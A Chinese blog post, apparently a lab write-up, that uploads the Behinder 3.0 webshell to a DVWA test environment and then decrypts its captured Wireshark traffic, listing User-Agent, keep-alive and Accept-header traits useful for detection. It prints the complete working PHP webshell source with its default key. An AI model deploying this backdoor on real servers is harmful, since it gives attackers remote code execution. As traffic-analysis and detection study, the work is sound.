近期稍微对冰蝎的流量进行了一些分析,因此来记录一下

首先用的工具是冰蝎 3.0 版本的,它相对于 2.0 来说,做出了一些改动,个人认为比较大的一个特点就是取消了动态密钥的获取,也就是说如果只是在一个加密的命令执行的追踪流下,是无法获取到加密后的密钥的,这里在 NSSCTF 开了一个 DVWA 的环境来进行一个上传的 getshell 演示

首先直接在上传口上传蚁剑 v3.0 的 shell.php,这里就用 php 来进行演示

可以看到的是上传成功和路径,接下来进行冰蝎的连接

首先点击新增

在弹出来的页面编辑好 url 和密码

这里先来看一下 shell.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
@error_reporting(0);
session_start();
    $key="e45e329feb5d925b"; //该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond
    $_SESSION['k']=$key;
    $post=file_get_contents("php://input");
    if(!extension_loaded('openssl'))
    {
        $t="base64_"."decode";
        $post=$t($post."");
       
        for($i=0;$i<strlen($post);$i++) {
                 $post[$i] = $post[$i]^$key[$i+1&15];
                }
    }
    else
    {
        $post=openssl_decrypt($post, "AES128", $key);
    }
    $arr=explode('|',$post);
    $func=$arr[0];
    $params=$arr[1];
    class C{public function __invoke($p) {eval($p."");}}
    @call_user_func(new C(),$params);
?>

能看到的是 e45e329feb5d925b 这一串 md5 的前 16 位,后面有注释显示的是密钥就是该 md5 为 rebeyond,那么就以这个作为连接密码进行冰蝎连接

保存之后双击添加的数据

成功连接

接下来使用 wireshark 进行抓包分析

同样在捕获 -> 选项设置好 WLAN 进行抓包

接着在命令执行框中输入以下三条命令:

  1. ls /

  2. ls /tmp

  3. ls /usr

接着停止抓取流量进行分析

首先先看到了 tcp 追踪流 23

很明显的一个冰蝎流量加密,冰蝎的流量加密的最大一个特点就是先进行一次 base64 加密,再进行一次 AES 加密,至于冰蝎流量的特点:

  1. User-Agent

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.163 Safari/535.1
Mozilla/5.0 (Windows NT 6.1; WOW64; rv:6.0) Gecko/20100101 Firefox/6.0 
Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50
Opera/9.80 (Windows NT 6.1; U; zh-cn) Presto/2.9.168 Version/144 255 173)">11.50
Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; Tablet PC 2.0; .NET4.0E)
Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; InfoPath.3)
Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.0)
Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)
Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Mozilla/5.0 (Windows; U; Windows NT 6.1; ) AppleWebKit/534.12 (KHTML, like Gecko) Maxthon/3.0 Safari/534.12
Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; .NET4.0E)
Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; .NET4.0E; SE 2.X MetaSr 1.0)
Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.472.33 Safari/534.3 SE 2.X MetaSr 1.0
Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; .NET4.0E)
Mozilla/5.0 (Windows NT 6.1) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/144 255 173)">13.0.782.41 Safari/535.1 QQBrowser/6.9.144 255 173)">11079.201
Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; .NET4.0E) QQBrowser/6.9.144 255 173)">11079.201
Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)

  1. 长连接
    冰蝎默认使用的是长连接,因此能看到

Connection 为 keep-alive

  1. Accept
    冰蝎的 Accept 字段很特殊,如图所示的请求体 Accept 字段

可以在这里调整是查看请求包还是回应包

接下来先将请求的加密字段拿去解密

这里附上我使用的 aes 解密和 base64 解密网址:

https://the-x.cn/cryptography/Aes.aspx

https://ctf.mzy0.com/CyberChef3/

这里说明一下,在解密时需要将 aes 的加密模式调整为 CBC

key 为上传的 shell.php 中的 16 位加密的密钥即 e45e329feb5d925b

而偏移量默认为 0123456789abcdef

可以看到的是有一个 decode 标识着括号里的 base64 码

将 base64 复制下来放入网站中成功解密,而输出的这段代码便是冰蝎对我们命令执行时的加密代码,也同时可以在底部查看到我们输入的命令

追踪流 23:

继续这样去找,能够找到我们之前输入的三个命令

追踪流 29:

追踪流 34:

接下来切换一下左下角的选项,查看回应包

追踪流 23:

一样进行 AES 解密 ->base64 解密

将后面这段复制出来进行 base64 解密

能发现成功和我们之前执行命令时的回显对上了

接下来的两个也都是一样

追踪流 29:

由于流 29 执行的命令是 ls
/tmp,而 tmp 目录下没有东西,回显也能看到,因此解密出来为空

追踪流 34:

也是成功和回显对上了

回到开头所讲述的冰蝎 3.0 版本没有了动态密钥的获取,因此只有攻击者能够知道密钥是什么,而 2.0 的密钥是能够通过流量进行抓取的(抓取的是加密之后的密钥),相当于是密钥随身跟随,另外冰蝎还有许多的功能之后再慢慢研究

本片文章是个人的一些看法,还望师傅们多多提建议

PS:最近开放了,还望师傅们多注意身体,别像我一样🐏了个🐏